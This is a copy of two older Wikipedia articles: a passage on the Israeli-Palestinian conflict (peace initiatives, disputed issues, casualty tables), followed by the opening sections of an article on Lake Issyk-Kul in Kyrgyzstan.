          Meanwhile, Palestinian volunteers played a crucial role in the Egyptian-Israeli conflict. Beginning in 1950, Egypt began using fedayeen (guerillas) to conduct a proxy war against Israel. These units of Palestiniansoften trained and equipped by Egyptwould infiltrate across what was then the Israeli-Egyptian border at Gaza, and conduct guerrilla raids against Israeli targets (mostly civilian in nature). In the first five years of the 1950s, "884 Israelis were wounded or killed by" Palestinian fedayeen trained and sent into Israel by the Egyptians. The fedayeen attacks were cited as being among the factors leading up to the Israeli decision to participate in the Sinai Campaign in 1956.


          The scope of the Israeli-Palestinian conflict again broadened after Israel conquered the West Bank from Jordan and the Gaza Strip from Egypt during the Six-Day War.


          


          Oslo peace process (1993-2000)
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          In 1993, Israeli officials and Palestinian leaders from the Palestine Liberation Organization strove to find a peaceful solution through what became known as the Oslo peace process. A crucial milestone in this process was Yasser Arafat's letter of recognition of Israel's right to exist. In 1993, the Oslo Accords were finalized as a framework for future Israeli-Palestinian relations. The crux of the Oslo agreement was that Israel would gradually cede control of the Palestinian territories over to the Palestinians in exchange for peace. The Oslo process was delicate and progressed in fits and starts, but finally came to a close when Arafat and Ehud Barak failed to reach agreement. Robert Malley, special assistant to President Clinton for Arab-Israeli Affairs, has confirmed that Barak made no formal written offer to Arafat. Consequently, there are different accounts of the proposals considered. However, the main obstacle to agreement appears to have been the status of Jerusalem.
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          Peace Initiatives (2002)


          


          Road Map for Peace


          One peace proposal, presented by the Quartet of the European Union, Russia, the United Nations and the United States on September 17, 2002, was the Road map for peace. This plan did not attempt to resolve difficult questions such as the fate of Jerusalem or Israeli settlements, but left that to be negotiated in later phases of the process. Israel did not accept the proposal as written, but called out 14 "reservations" or changes before they would accept it, which were unacceptable to the current Palestinian government. The proposal never made it beyond the first phase, which called for a halt to Israeli settlement construction and a halt to Israeli and Palestinian violence, none of which was achieved. Prime Minister Ariel Sharon stated around this period that further unilateral withdrawals from some West Bank settlements might be undertaken if the peace process seemed to be stalled.


          


          Arab Peace Initiative


          The Arab Peace Initiative (Arabic: مبادرة السلام العربية) is a peace initiative first proposed by Abdullah of Saudi Arabia, then crown prince, in the Beirut Summit. The peace initiative is a proposed solution to the Arab-Israeli conflict as a whole, and the Israeli-Palestinian conflict in particular.


          The initiative was initially published on 28 March 2002 in Beirut Summit, and agreed on again in 2007 in the Riyadh Summit. The peace initiative achieved the unanimous consent of all members of the Arab League, including both the Hamas and Fatah Palestinian factions.


          Considered a progressive proposal that would end the Arab-Israeli conflict, unlike the Road map for peace it spelled out "final-solution" borders based explicitely on the UN borders established before the 1967 Six-Day War. It offered full normalization of relations with Israel, in exchange for the withdrawal of its forces from all the Occupied Territories, including the Golan Heights, to recognize "an independent Palestinian state with East Jerusalem as its capital" in the West Bank and Gaza Strip, as well as a "just solution" for the Palestinian refugees.


          Although initially rejected by Israel, the Arab Leage continues to raise it as a possible solution, and meetings between the Arab League and Israel have been scheduled.
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          2003-present


          Prime Minister of Israel Ariel Sharon announced a controversial disengagement plan in December 2003. Israel was to remove all of its civilian and military presence in the Gaza Strip, (namely 21 Jewish settlements there, and four in the West Bank), but continue to supervise and guard the external envelope on land excepting a border crossing with Egypt, which is jointly run by the Palestinian National Authority in conjunction with the European Union. Israel also maintained exclusive control in the air space of Gaza. The Israeli government argued that "as a result, there will be no basis for the claim that the Gaza Strip is occupied territory," while others argued that the only effect would be that Israel "would be permitted to complete the wall (that is, the Israeli West Bank Barrier) and to maintain the situation in the West Bank as is."


          Israel implemented their disengagement plan in August-September 2005, and it was initially popular with most Israelis, helping Prime Minister Ehud Olmert to win the following election after Sharon was incapacitated by a stroke. As preparation for Israel's withdrawal from the Gaza Strip, Fatah and Hamas had called a cease-fire on attacks against Israel in February 2005. CNN reported in 2006 that Fatah and Hamas "stuck to the cease-fire it announced in February 2005, but other groups did not sign on and have continued attacks against Israel." Nevertheless, Israel continued to target militants inside Gaza whom it alleged had planned or carried out attacks on Israel, including some members of Hamas. Then in June 2006, violence on both sides escalated. Israel killed a Hamas official in a missile attack on June 5; then on June 6 militants from the "Popular Resistance" group fired rockets into Israel which produced no casualties; Israel launched airstrikes against those militants and others, killing five. On June 9, an explosion on a Northern Gaza beach, killed seven and wounded 20 amongst the Palestinian families picnicking on the beach. In response, Hamas declared a calling off of what they described as a "16-month-old cease-fire" due to 'Palestinian streets public pressure'.


          Since that time, Israeli military incursions into Gaza and Palestinian rocket attacks towards Israeli cities have continued to this day. Later in June 2006, Corporal Gilad Shalit, a 19-year-old Israeli IDF soldier, was abducted by Palestinian militants. Israel carried out a military operation against targets in Gaza, which it claimed to be in response to Palestinian attacks. Israeli Prime Minister Olmert stated that Israel's goal was not to reacquire control of the Gaza Strip, and that the IDF would withdraw once its operations were completed.


          Hamas's victory in the 2006 elections for Palestinian Legislative Council, and Ismail Haniyehs ascension to the post of Prime Minister further complicated the peace process. Hamas openly states that it does not recognize Israel's right to exist, although they have expressed openness to a long-term hudna or truce.


          In early 2007, Hamas and Fatah met in Saudi Arabia, and reached agreement to form a new unity government. Haniyeh later resigned, and a new unity coalition government of both Fatah and Hamas took office in March 2007. In 2007, the coalition of Hamas and Fatah collapsed, and the two engaged in a physical struggle. Eventually, Fatah was defeated in Gaza, and Hamas took over full control of the Gaza Strip. Fatah retains control of the West Bank. Gaza has been subjected to economic sanctions due to Hamas' non-recognition of Israel, and sporadic fighting between Israel and Hamas in Gaza has continued. Hamas has made recent attempts to renew a cease-fire with Israel, but Israel has so far rejected their offer.


          


          Major issues between the two sides


          Since the Oslo Accords, finalized in 1993, the government of Israel and the Palestinian National Authority (PNA) have been officially committed to an eventual two-state solution. However, there are many major issues which remained unresolved between the two parties.


          


          The status of the occupied territories


          The West Bank, Gaza Strip, and East Jerusalemterritories which Israel conquered from Egypt and Jordan in the 1967 Six-Day Warare the subject of contentious legal, ethical and political dispute between Israelis and Palestinians.


          Occupied Palestinian Territories is the term used by the UN in the conflict. The Israeli government uses the term Disputed Territories, to indicate its position that some territories cannot be called occupied as no nation had clear rights to them and there was no operative diplomatic arrangement when Israel acquired them in June 1967. The area is still referred to as Judea and Samaria by some Israeli groups, based on the historical regional names from ancient times.


          In 1980, Israel outright annexed East Jerusalem. The United Nations rejected this annexation on August 20 of that year. Israel has never annexed the West Bank or Gaza Strip, and the United Nations has demanded the "[t]ermination of all claims or states of belligerency and respect for and acknowledgement of the sovereignty, territorial integrity and political independence of every State in the area and their right to live in peace within secure and recognized boundaries free from threats or acts of force" and that Israeli forces withdraw "from territories occupied in the recent conflict" - the meaning and intent of the latter phrase is disputed. See United Nations Security Council Resolution 242#Semantic dispute.


          It has been the position of Israel that the most Arab-populated parts of West Bank (without major Jewish settlements), and the entire Gaza Strip must eventually be part of an independent Palestinian State. However, the precise borders of this state are in question. In 2000, for example, Ehud Barak offered Yasser Arafat an opportunity to establish an independent Palestinian State composed of the entire Gaza Strip and 92% of the West Bank. Due to security restrictions, and Barak's opposition to a broad right of return, Arafat refused this proposal.


          Some Palestinians claim they are entitled to all of the West Bank, Gaza Strip, and East Jerusalem. Israel says it is justified in not ceding all this land, due to security concerns, and also because the lack of any valid diplomatic agreement at the time means that ownership and boundaries of this land is open for discussion. Palestinians claim any reduction of this claim is a severe deprivation of their rights. In negotiations, they claim that any moves to reduce the boundaries of this land is a hostile move against their key interests. Israel considers this land to be in dispute, and feels the purpose of negotiations is to define what the final borders will be.


          Other Palestinian groups, such as Hamas, insist that Palestinians must control not only the West Bank, Gaza Strip, and East Jerusalem, but also all of Israel proper. For this reason, Hamas views the peace process "as religiously forbidden and politically inconceivable."


          


          Holy places


          Israel has grave concerns regarding the welfare of Jewish holy places under possible Palestinian control. When Jerusalem was under Jordanian control, no Jews were allowed to visit the Western Wall. In 2000, a Palestinian mob took over Joseph's Tomb, a shrine considered sacred by both Jews and Muslims, looted and burned the building, and turned it into a mosque. There are unauthorized Palestinian excavations for construction on the Temple Mount in Jerusalem, which could threaten the stability of the Western Wall. Israel, on the other hand, has seldom blocked access to holy places sacred to other religions, and never permanently. Israeli security agencies routinely monitor and arrest Jewish extremists that plan attacks, resulting in almost no serious incidents for the last twenty years. Moreover, Israel has given almost complete autonomy to the Muslim trust ( Waqf) over the Temple Mount.


          Palestinians have grave concerns regarding the welfare of Christian and Muslim holy places under Israeli control. They point to the several attacks on the Al-Aqsa Mosque (Masjid al Aqsa) since 1967, including a serious fire in 1969, which destroyed the south wing, and the discovery, in 1981, of ancient tunnels under the structure of the mosque which some archaeologists believe have weakened the building structures on the Al Aqsa (Haram ash-Sharif). In the ensuing confrontations, more than 70 Palestinians died . Some advocates believe that the tunnels were re-opened with the intent of causing the mosque's collapse. The Israeli government claims it treats the Muslim and Christian holy sites with utmost respect (see previous paragraph).


          


          Mutual recognition


          The Oslo peace process was based upon Israel ceding authority to the Palestinians to run their own political and economic affairs. In return, it was agreed that Palestinians would promote peaceful co-existence, renounce violence and promote recognition of Israel among their own people. Despite Yasser Arafat's official renouncement of terrorism and recognition of Israel, some Palestinian groups continue to practice and advocate violence against civilians and do not recognize Israel as a legitimate political entity. Simultaneously, at the time of Hamas's victory in the 2006, polls indicated that 66% of Palestinians supported mutual recognition and a two-state solution to the Palestinian-Israeli Conflict.


          It is widely felt among Israelis that Palestinians did not in fact promote acceptance of Israel's right to exist. Palestinians respond that their ability to spread acceptance of Israel was greatly hampered by Israeli restrictions on Palestinian political freedoms, economic freedoms, civil liberties, and quality of life. Many feel that their own opposition to Israel was justified by Israel's apparent stifling of any genuine Palestinian political and economic development.


          Israel cites past concessions, such as Israels disengagement from the Gaza Strip in August, 2005, which did not lead to a reduction of attacks and rocket fire against Israel, as an example of the Palestinian people not accepting Israel as a state. Palestinian groups and Israeli Human Rights organizations (namely B'tzellem) have pointed out that while the military occupation in Gaza was ended, the Israeli government still retained control of Gaza's airspace, territorial water, and borders, legally making it still under Israeli control. Practically, they also point out that mainly thanks to these restrictions, the Palestinian quality of life in the Gaza Strip has not improved since the Israeli withdrawal. Furthermore, given that the Israeli army has run incursions into the Gaza Strip on various occasions, closed off its borders, and placed an embargo on the region, the Gazan economy has since gone into free fall. This has led and continues to result in warnings of the Palestinian population becoming more radicalized unless conditions improve.


          Many significant Palestinian militant groups refuse to recognize Israel's existence, based on their belief that Israel has repeatedly taken Palestinian resources and violated their perceived rights. Based on this, they seek to destroy Israel at some point in the future. It is unclear how much popular support they have. In response, some Israeli groups and individuals oppose any territorial or political concessions to Palestinians.


          


          The question of Palestinian refugees


          The number of Palestinians who fled Israel following its creation and their descendants now stands at around four million.


          Palestinian negotiators have so far insisted that refugees, and all their descendants, from the 1948 and 1967 wars have a right to return to the places where they lived before 1948 and 1967, including those within the 1949 Armistice lines, citing the Universal Declaration of Human Rights and UN General Assembly Resolution 194 as evidence.


          The Arab Peace Initiative of 2002 declared that it proposed the compromise of a "just resolution" of the refugee problem. It is not currently understood what is meant by "just resolution"; a similar concept was offered by the Israeli government, but rejected outright by the Palestinians in the Summer 2000 Camp David negotiations.


          Although many Israelis are open to compromise on the issue, by means such as the monetary reparations and family reunification initiatives offered by Ehud Barak at the Camp David 2000 summit, the majority of Israelis find a literal, comprehensive right of return for Palestinian refugees to be unacceptable. The most common arguments given for this opposition are:


          
            	Israel's official response is that one factor in the persistence of the Arab refugee problem was the refusal of any Arab government except Jordan to offer the Palestinian Arabs citizenship. This produced much of the poverty and economic problems of the refugees, according to MFA documents. There were other much larger refugee problems after World War II which were eventually solved, while this one persisted.


            	Palestinian flight from Israel was not compelled, but voluntary. During the 19471948 Civil War in Mandatory Palestine and 1948 Arab-Israeli War, the Arab Higher Committee and the Arab states encouraged Palestinians to flee, in order to make it easier to rout the Jewish state. This point, however, is a matter of some contention. Certain actions on the part of Jewish militias were considered to provoke Palestinians to leave Israel. Still, such cases were relatively rare, and the vast majority of Palestinians fled of their own accord. Since most Palestinians chose their status as refugees themselves, some argue that Israel is therefore absolved of responsibility. In fact, a 1952 memorandum submitted to the League of Arab States by the Higher Arab Committee reveals that Arab states officially agreed to take responsibility for these refugees at the height of the Palestinian exodus, until such time as Israel would be destroyed:

          


          
            	
              
                Arab leaders and their ministries in Arab capitals ... declared that they welcomed the immigration of Palestinian Arabs into the Arab countries until they saved Palestine.

              

            

          


          
            	Historical legal precedent from the Middle East supports this contention. Since none of the 900,000 Jewish refugees who fled anti-Semitic violence in the Arab world were ever compensated or repatriated by their former countries of residenceto no objection on the part of Arab leadersa precedent has been set whereby it is the responsibility of the nation which accepts the refugees to assimilate them.


            	Most Israelis hold that the inflow of millions of poor refugees (almost none of whom were properly integrated by the surrounding Arab countries) will simply exceed the region's dwindling resources.


            	Although Israel accepts the right of the Palestinian Diaspora to return into a new Palestinian state, their return into Israel would be a great danger for the stability of the Jewish state; an influx of Palestinian refugees would lead to the destruction of the state of Israel. Because a right of return would make Arabs the majority within Israel, this would essentially seal the fate of the Jewish state. As Fatah explains: To us, the refugees issue is the winning card which means the end of the Israeli state.

          


          Palestinian and international authors have justified the right of return of the Palestinian refugees on several grounds:


          
            	Several authors included in the broader New Historians assert that the Palestinian refugees were chased out or expelled by the actions of the Haganah, Lehi and Irgun. A report from the military intelligence SHAI of the Haganah entitled "The emigration of Palestinian Arabs in the period 1/12/1947-1/6/1948", dated 30 June 1948 affirms that:

          


          
            "At least 55% of the total of the exodus was caused by our (Haganah/IDF) operations." To this figure, the reports compilers add the operations of the Irgun and Lehi, which "directly (caused) some 15%... of the emigration". A further 2% was attributed to explicit expulsion orders issued by Israeli troops, and 1% to their psychological warfare. This leads to a figure of 73% for departures caused directly by the Israelis. In addition, the report attributes 22% of the departures to "fears" and "a crisis of confidence" affecting the Palestinian population. As for Arab calls for flight, these were reckoned to be significant in only 5% of cases...

          


          
            	The traditional Israeli point of view arguing that Arab leaders encouraged Palestinian Arabs to flee has also been disputed by the New Historians, which instead have shown evidence indicating Arab leaders' will for the Palestinian Arab population to stay put.


            	The Israeli Law of Return that grants citizenship to any Jew from anywhere in the world is viewed by some as discrimination towards non-Jews and especially to Palestinians that cannot apply for such citizenship nor return to the territory from which they were displaced or left.


            	The strongest legal basis on the issue is UN Resolution 194, adopted in 1948. It states that, "the refugees wishing to return to their homes and live at peace with their neighbours should be permitted to do so at the earliest practicable date, and that compensation should be paid for the property of those choosing not to return and for loss of or damage to property which, under principles of international law or in equity, should be made good by the Governments or authorities responsible." UN Resolution 3236 "reaffirms also the inalienable right of the Palestinians to return to their homes and property from which they have been displaced and uprooted, and calls for their return". Resolution 242 from the UN affirms the necessity for "achieving a just settlement of the refugee problem," however, Resolution 242 does not specify that the "just settlement" must or should be in the form of a literal Palestinian right of return.

          


          


          Israeli settlements


          In the years following the Six-Day War, and especially in the 1990s during the peace process, Israel re-established communities destroyed in 1929 and 1948 as well as established numerous new settlements on the West Bank. These settlements are now home to about 350,000 people. Most of the settlements are in the western parts of the West Bank, while others are deep into Palestinian territory, overlooking Palestinian cities. These settlements have been the site of much intercommunal conflict.


          Insistence by some Palestinians that all Jewish communities within the territories to be part of a Palestinian state be removed. This includes ancient communities ( Hebron), communities destroyed in 1948 and since re-established ( Gush Etzion), and settlements established since 1967. The Palestinian position on the Jews of the Old City of Jerusalem is unclear.


          The issue of Israeli settlements in the West Bank and, until 2005, the Gaza Strip have been described as an obstacle to a peaceful resolution of the conflict, by the international media; as well as the international political community (including the US, the UK, and the EU). These actors have also called the settlements illegal under international law, however Israel disputes this. Furthermore, the ICJ as well as international and Israeli human rights organizations consider the settlements illegal. Whilst several scholars and commentators disagree, citing recent historical trends to back up their argument, it has not changed the view of the international community and human rights organizations.


          As of 2006, 267,163 Israelis lived within the West Bank and East Jerusalem. The establishment and expansion of these settlements in the West Bank and (at the time, the) Gaza Strip have been described as violations of the fourth Geneva Convention by the UN Security Council in several resolutions. The European Union and the General Assembly of the United Nations consider the settlements to be illegal. Proponents of the settlements justify their legality using arguments based upon Article 2 and 49 of the fourth Geneva Convention, as well as UN Security Council Resolution 242. On a practical level, some objections voiced by Palestinians are that settlements divert resources needed by Palestinian towns, such as arable land, water, and other resources; and, that settlements reduce Palestinians' ability to travel freely via local roads, owing to security considerations.


          In 2005, Israel's unilateral disengagement plan, a proposal put forward by Israeli Prime Minister Ariel Sharon, was enacted. All Jewish residents in the Gaza strip were evacuated, and all residential buildings were demolished.


          Various mediators and various proposed agreements have shown some degree of openness to Israel retaining some fraction of the settlements which currently exist in the West Bank; this openness is based on a variety of considerations, such as: the desire to find real compromise between Israeli and Palestinian territorial claims, Israel's position that it needs to retain some West Bank land and settlements as a buffer in case of future aggression, and Israel's position that some settlements are legitimate, as they took shape when there was no operative diplomatic arrangement, and thus they did not violate any agreement.


          President George Bush has stated that he does not expect Israel to return entirely to the 1949 armistice lines, due to "new realities on the ground. One of the main compromise plans put forth by the Clinton Administration would have allowed Israel to keep some settlements in the West Bank, especially those which were in large blocs near the pre-1967 borders of Israel. In return, Palestinians would have received some concessions of land in other parts of the country. 


          Israeli security


          Without the West Bank, Israel would be only nine miles across at its narrowest point, close to its greatest population centre. Many fear that this would leave it vulnerable to any future attacks by an Arab alliance. Moreover, such an army would be fighting from the higher ground of the West Bank, and would find its invasion made easier, since it would not have to cross the Jordan River.


          The threat of Qassam rockets fired from the Palestinian Territories into Israel is also of great concern. In 2006--the year following Israel's disengagement from the Gaza Strip--the Israeli government recorded 1,726 such launches, more than four times the total rockets fired in 2005. Many Israelis see this as evidence that greater Palestinian autonomy necessarily comes at the expense of Israel's ability to defend itself against threats from the Palestinian territories.


          Contrarily, many maintain that Israeli concessions will result in reduced friction between Israelis and Palestinians, and that this will in turn bring about a reduction of violence.


          


          House demolition in the occupied territories


          A factor in the ongoing conflict between the Israelis and Palestinians is the demolition of homes in the areas conquered in the 1967 Six-Day War. The Israeli Defense Forces (IDF) have demolished and continue to demolish Palestinian homes in the occupied territories. The reasons for these demolitions are a subject of heated dispute.. Israel justifies the demolition of Palestinian homes on the grounds of deterrence against alleged terrorists and their families and as a means of counter-terrorism and as self-defense to protect Israeli citizens. Human Rights groups such as Amnesty International oppose the demolitions claiming they are in violation of international law, and accuse the Israelis of Collective punishment against innocent Palestinians and annexation of Palestinian land for the benefit of Israeli settlements.


          


          Borders and international status


          In the past Israel has demanded control over border crossings between the Palestinian territories and Jordan and Egypt, and the right to set the import and export controls, asserting that Israel and the Palestinian territories are a single economic space.


          Palestinians insist on contiguous territory which will in turn rupture the existing territorial contiguity of Israel. In the interim agreements reached as part of the Oslo Accords, the Palestinian Authority has received control over cities (Area A) while the surrounding countryside has been placed under Israeli security and Palestinian civil administration (Area B) or complete Israeli control (Area C). Israel has built additional highways to allow Israelis to traverse the area without entering Palestinian cities. The initial areas under Palestinian Authority control are diverse and non-contiguous . The areas have changed over time because of subsequent negotiations, including Oslo II, Wye River and Sharm el-Sheik. According to Palestinians, the separated areas make it impossible to create a viable nation and fails to address Palestinian security needs; Israel has expressed no agreement to withdrawal from some Areas B, resulting in no reduction in the division of the Palestinian areas, and the institution of a safe pass system, without Israeli checkpoints, between these parts. Because of increased Palestinian violence to occupation this plan is in abeyance. The number of checkpoints has increased; resulting is more suicide bombings since the early summer of 2003. Neither side has publicized a proposal for a final map. (Some maps have been leaked. These, purporting to show Israeli proposals, are reputed to come from the Israelis and the Palestinians ).


          


          Government


          Some groups in Israel assert that the Palestinian Authority is corrupt, that it provides tacit support for extremists via its relationship with Hamas and other Islamic militant movements, and at times calls for the destruction of Israel. This makes it, in Israeli perception, unsuitable for governing any putative Palestinian state or (especially according to the right wing of Israeli politics), even negotiating about the character of such a state. Because of that, a number of organizations, including the previously ruling Likud party, declared they would not accept a Palestinian state based on the current PA. (Likud's former leader Ariel Sharon, publicly declared that he rejected this position as too radical).


          A PA Cabinet minister, Saeb Erekat, declared this indicates that Israel is seeking to maintain its occupation of the West Bank and Gaza . Israel has not recognised a Palestinian state, and has resorted to extrajudicial killings of suspects within the West Bank and Gaza who it claims have planned and led terrorist attacks within Israel. Some international observers have recommended that negotiations proceed anyway, claiming that internal Palestinian reform can be undertaken if negotiations make progress.


          


          Airspace


          The West Bank and Israel form a strip only up to 80 kilometers wide. Israel has insisted on complete Israeli control of the airspace above the West Bank and Gaza as well as that above Israel itself. A Palestinian compromise of joint control over the combined airspace has been rejected by Israel.


          


          Palestinian army


          Israel does not wish the Palestinians to build up an army capable of offensive operations, considering that the only party against which such an army could be turned in the near future is Israel itself. However, Israel has already allowed for the creation of a Palestinian police that can not only conduct police operations, but also carry out limited-scale warfare. Palestinians have argued that the IDF, a large and modern armed force, poses a direct and pressing threat to the sovereignty of any future Palestinian state, making a defensive force for a Palestinian state a matter of necessity. To this, Israelis claim that signing a treaty while building an army is a show of bad intentions.


          


          Current status


          The Oslo peace process obligated both sides to work towards a two-state solution, as noted above. However, during the process itself, there were numerous acts of violence by both sides. Israelis claimed they were acting only in response to Palestinian acts of terrorism. Palestinians claimed they were only carrying out legitimate resistance, against numerous violations by Israel of Palestinian rights, and political sovereignty.


          In addition, during this process, both sides expressed dissatisfaction and grievances with the other side. The main Israeli allegation was that Palestinians were actively inciting and funding terrorism against Israel. The main Palestinian complaint was that Israel was repeatedly violating Palestinian rights, which made it pointless to attempt to persuade ordinary Palestinians to accept Israel.


          In 2006, Hamas won a majority in the Palestinian Legislative Council, prompting the United States and many European countries to cut off all funds to the Palestinian Authority. The US cited three conditions that the Palestinian government would need to satisfy for a resumption of aid: an end to violence, recognition of Israel, and adherence to the Road Map for Peace. Palestinian critics stated that the US and Israel themselves complied with none of these conditions, and that Israel's support of the Road Map was accompanied by 14 reservations which, they say, drain it of its substance. Furthermore, they assert that Israeli violence against Palestinians continues without discussion. Israel states that its recent military operations are in response to Hamas's frequent rocket attacks from Gaza into Sderot, and on other Israeli cities.


          In early 2007, Hamas and Fatah met in Saudi Arabia and reached agreement to unite their respective parties. In March 2007, Fatah and Hamas took office under a new unity coalition government. There remained much debate as to whether the PNA was now a credible negotiating authority, and whether sanctions should be lifted. When the Fatah-Hamas coalition collapsed and armed conflict ensued, the debate changed to whether the newly separated Fatah was a credible negotiating partner.


          In June 2007, Hamas militarily defeated Fatah in the Gaza Strip in response to attacks. Critics said Fatah had attempted an overthrow and possible coup, funded and assisted by the United States, Israel, Jordan, and Egypt, engineered by US National Security Advisor for Global Democracy Strategy Elliott Abrams, led by Mohammed Dalan. Various forces affiliated with Fatah engaged in combat with Hamas, in numerous gun battles. Most Fatah leaders escaped to Egypt and the West Bank, while some were captured and killed. Fatah remained in control of the West Bank, and President Abbas formed a new governing coalition, which some critics of Fatah said subverts the Palestinian Constitution and excludes the majority government of Hamas.


          In line with their policies, Israel, the United States, and several allied governments, have censured Hamas for its non-recognition of Israel. They have also assisted President Abbas and Fatah, who hold stances in favour of recognition of Israel. It is the position of the UN, the International Criminal Court, and a vast majority of the international community that Israel and the Palestinians should come to a peaceful resolution based on international laws, UN Resolutions, reciprocal recognition of self-determination and human rights.


          


          Casualties


          The Office for the Coordination of Humanitarian Affairs for the occupied Palestinian territory (OCHoPT) was established in late 2000 as a response to the deteriorating humanitarian situation in the West Bank and Gaza caused by military incursions and closures (See also: Second Intifada). The office monitors the conflict and presents figures relating to both internal-violence and direct conflict clashes.*


          
            
              
                Casualty figures for the Israeli-Palestinian conflict from the OCHAoPt

                (numbers in brackets represent casualties under the age of 18)
              

              
                	Year

                	Deaths

                	Injuries
              


              
                	Palestinians

                	Israelis

                	Palestinians

                	Israelis
              


              
                	2005

                	216 (52)

                	48 (6)

                	1260 (129)

                	484 (4)
              


              
                	2006

                	678 (127)

                	25 (2)

                	3194 (470)

                	377 (7)
              


              
                	2007

                	396 (43)

                	13 (0)

                	1843 (265)

                	322 (3)
              


              
                	Total

                	1290 (222)

                	86 (8)

                	6297 (864)

                	1183 (14)
              

            

          


          * All numbers refer to casualties of direct conflict between Israelis and Palestinians including in IDF military operations, artillery shelling, search and arrest campaigns, Barrier demonstrations, targeted killings, settler violence etc. The figures do not include events indirectly related to the conflict such as casualties from unexploded ordnance, etc. or events when the circumstances remain unclear or are in dispute. The figures include all reported casualties of all ages and both genders.


          



          
            
              
                Casualty figures for the Israeli-Palestinian conflict in the 1936-1939 Great Arab Revolt
              

              
                	Source

                	Cited by

                	Deaths
              


              
                	Palestinians

                	Israelis
              


              
                	Arnon-Ohana, 1982, 140

                	Morris, Righteous Victims p 159.

                	4,500 (killed by other Arabs)

                	
              


              
                	Various

                	Morris, Righteous Victims p 159.

                	3,000 to 6,000

                	several hundred
              

            

          


          


          Arab-Israeli peace diplomacy and treaties


          
            	One State Solution


            	Paris Peace Conference, 1919


            	Faisal-Weizmann Agreement (1919)


            	1949 Armistice Agreements


            	Camp David Accords (1978)


            	Israel-Egypt Peace Treaty (1979)


            	Madrid Conference of 1991


            	Oslo Accords (1993)


            	Israel-Jordan Treaty of Peace (1994)


            	Camp David 2000 Summit


            	History of the Arab-Israeli conflict


            	Peace process in the Israeli-Palestinian conflict


            	Projects working for peace among Israelis and Arabs


            	List of Middle East peace proposals


            	International law and the Arab-Israeli conflict

          


          


          
            Retrieved from " http://en.wikipedia.org/wiki/Israeli-Palestinian_conflict"
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              	Lake Issyk-Kul
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                  From space, September 1992
                

              
            


            
              	Coordinates

              	
            


            
              	Lake type

              	Endorheic

              Mountain lake

              Monomictic
            


            
              	Primary inflows

              	Glaciers
            


            
              	Primary outflows

              	Evaporation
            


            
              	Catchment area

              	15,844 km
            


            
              	Basin countries

              	Kyrgyzstan
            


            
              	Max. length

              	182 km
            


            
              	Max. width

              	60 km
            


            
              	Surface area

              	6,236 km
            


            
              	Average depth

              	270 m
            


            
              	Max. depth

              	668 m
            


            
              	Water volume

              	1,738 km
            


            
              	Shore length1

              	688 km
            


            
              	Surface elevation

              	1,606 m
            


            
              	Settlements

              	Cholpon-Ata, Karakol
            


            
              	1 Shore length is not a well-defined measure.
            

          


          Issyk Kul (also Ysyk Kl, Issyk-kol; Kyrgyz: Ысыккөл, Russian: Иссык-Куль) is an endorheic lake in the northern Tian Shan mountains in eastern Kyrgyzstan. It is the ninth largest lake in the world by volume and the second largest saline lake after the Caspian Sea. Although it is surrounded by snow-capped peaks, it never freezes; hence its name, which means "warm lake" in the Kyrgyz language. The lake is a Ramsar site of globally significant biodiversity (Ramsar Site RDB Code 2KG001) and forms part of the Issyk-Kul Biosphere Reserve. It was also the site of an ancient metropolis 2500 years ago, and archaeological excavations are ongoing.


          


          Geography


          
            [image: Southern shore of lake Issyk Kul]

            
              Southern shore of lake Issyk Kul
            

          


          Lake Issyk Kul has a length of 182 km, a width of up to 60 km, and covers an area of 6,336 km. This makes it the second largest mountain lake in the world behind Lake Titicaca in South America. Located at an altitude of 1,608 m, it reaches 668 m in depth.


          About 118 rivers and streams flow into the lake; the largest are Djyrgalan and Tyup. It is fed by springs, including many hot springs, and snow melt-off. The lake has no current outlet, but some hydrologists hypothesize that, deep underground, lake water filters into the Chu River. The bottom of the lake contains the mineral, monohydrocalcite: one of the few known lacustrine deposits.


          The lake's southern shore is dominated by the ruggedly beautiful Tian Shan mountain range. The lake water has salinity of approx. 0.6% (less than 20% that of seawater) and its level drops by approximately 5 cm per year.


          Administratively, the lake and the adjacent land are within Issyk Kul Province of Kyrgyzstan.


          


          Tourism


          During the Soviet era, the lake became a popular vacation resort, with numerous sanatoria, boarding houses and vacation homes along its northern shore, many concentrated in and around the town of Cholpon-Ata. These fell on hard times after the break-up of the USSR, but now hotel complexes are being refurbished and simple private bed-and-breakfast pensions are being established for a new generation of health and leisure visitors.


          The city of Karakol (formerly Przhevalsk, after the Russian explorer Przhevalsky who died there) is the administrative seat of Issyk Kul Oblast (Province) of Kyrgyzstan. It is located near the eastern tip of the lake and is a good base for excursions into the surrounding area. Its small old core contains an impressive wooden mosque, built without metal nails by the Dungan people, and a wooden Orthodox church that was used as a stable during Soviet times (see state atheism).


          


          History


          Lake Issyk Kul was a stopover on the Silk Road, a land route for travelers from the Far East to Europe. Many historians believe that the lake was the point of origin for the Black Death that plagued Europe and Asia during the early and mid-14th century. The lake's status as a byway for travelers allowed the plague to spread across these continents via medieval merchants who unknowingly carried infested vermin along with them. A 14th century Armenian monastery was found on the northeastern shores of the lake by retracing the steps of a medieval map used by Venetian merchants on the Silk Road.
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              On the beach at Koshkol'
            

          


          In December 2007 a report was released by a team of Kyrgyz historians, led by Vladimir Ploskikh, vice president of the Kyrgyz Academy of Sciences, that archaeologists have discovered the remains of a 2500-year-old advanced civilization at the bottom of the Lake. The data and artifacts obtained, which are currently under study all suggest that the ancient city was a metropolis in its time. The discovery consisted of formidable walls, some stretching for 500 meters as well as traces of a large city with an area of several square kilometers. Other findings included Scythian burial mounds, eroded by waves over the centuries and numerous well preserved artifacts including bronze battleaxes, arrowheads, self-sharpening daggers, objects discarded by smiths, casting molds, and a faceted gold bar, which was a monetary unit of the time.


          Articles identified as the world's oldest extant coins were also found underwater with gold wire rings used as small change and a large hexahedral goldpiece. Also found was a bronze cauldron with a level of craftsmanship that is today achieved by using an inert gas environment.
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              Issyk Kul beach (2002)
            

          


          


          Fish


          The lake contains highly endemic fish biodiversity, and some of the species, including four endemics, are highly endangered. In recent years catches of all species of fish have declined markedly, due to a combination of over-fishing, heavy predation by two of the introduced species, and the cessation of lake restocking with juvenile fish from hatcheries. At least four commercially targeted endemic fish species are sufficiently threatened to be included in the Red Book of the Kyrgyz Republic: Chebak (Leuciscus schmidti), Chebachok (Leuciscus bergi), Marinka (Schizothorax issyk-kuli), and Sheer or Naked Osman (Diptychus dybovskii). Seven other endemic species are almost certainly threatened as by-catch or are indirectly impacted by fishing activity and changes to the structure and balance of the lake's fish population.


